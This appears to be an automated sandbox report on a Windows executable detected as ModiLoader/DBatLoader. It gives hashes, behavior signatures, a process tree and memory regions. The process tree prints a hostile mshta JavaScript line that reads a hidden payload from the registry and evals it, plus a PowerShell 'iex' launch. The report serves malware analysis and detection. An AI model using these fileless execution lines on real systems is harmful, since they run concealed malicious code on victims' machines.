Analysis

  • max time kernel
    142s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-05-2024 23:37

General

  • Target

    19b93ddb8c8837f6b679249c1a677b0f_JaffaCakes118.exe

  • Size

    360KB

  • MD5

    19b93ddb8c8837f6b679249c1a677b0f

  • SHA1

    d6966a2de8143c7dc1cef1d70cdea6166015a21a

  • SHA256

    9ba49f2fe2369c9510a87dc83cd49bd7d17d603e009e46b09b8bb1910254c54e

  • SHA512

    1e0f8aa663746e26b03fb4b9f6a58b6f4ed685b14135e4d01efa9678dda8ea1090479f1a6562df96e3bdc69437bd34154bf2eb9b2904051a8cb2f8d26692da20

  • SSDEEP

    6144:fI7kmNy3NyW7btm58icJp8DbxCuoAgUPL26GCFF:fI7kmNy3NyUmMJp8Db8jAVPL26GCH

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\19b93ddb8c8837f6b679249c1a677b0f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\19b93ddb8c8837f6b679249c1a677b0f_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • NTFS ADS
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Users\Admin\AppData\Local\Temp\19b93ddb8c8837f6b679249c1a677b0f_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\19b93ddb8c8837f6b679249c1a677b0f_JaffaCakes118.exe"
      2⤵
        PID:4912
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:RQ66NUz="nr7Zrsjb";JX5=new%20ActiveXObject("WScript.Shell");uVc53vY="n";s2DuQ7=JX5.RegRead("HKCU\\software\\g0MrX0Lg1\\7jk2PGGnZJ");Phs5a="Zyu";eval(s2DuQ7);pA8J5b="gZxB9xYl";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:kivgm
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1044

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10mozqlz.mhx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1044-17-0x0000000002350000-0x0000000002386000-memory.dmp

      Filesize

      216KB

    • memory/1044-21-0x0000000005510000-0x0000000005576000-memory.dmp

      Filesize

      408KB

    • memory/1044-34-0x00000000071F0000-0x000000000786A000-memory.dmp

      Filesize

      6.5MB

    • memory/1044-33-0x0000000005A80000-0x0000000005ACC000-memory.dmp

      Filesize

      304KB

    • memory/1044-27-0x0000000005580000-0x00000000058D4000-memory.dmp

      Filesize

      3.3MB

    • memory/1044-20-0x00000000054A0000-0x0000000005506000-memory.dmp

      Filesize

      408KB

    • memory/1044-19-0x0000000004CC0000-0x0000000004CE2000-memory.dmp

      Filesize

      136KB

    • memory/1044-18-0x0000000004E00000-0x0000000005428000-memory.dmp

      Filesize

      6.2MB

    • memory/1044-35-0x0000000006B10000-0x0000000006B2A000-memory.dmp

      Filesize

      104KB

    • memory/1044-32-0x0000000005A60000-0x0000000005A7E000-memory.dmp

      Filesize

      120KB

    • memory/4912-14-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-10-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-11-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-8-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/4912-7-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/4912-12-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-13-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-5-0x0000000000400000-0x000000000043C000-memory.dmp

      Filesize

      240KB

    • memory/4912-9-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB

    • memory/4912-15-0x00000000009B0000-0x0000000000A8C000-memory.dmp

      Filesize

      880KB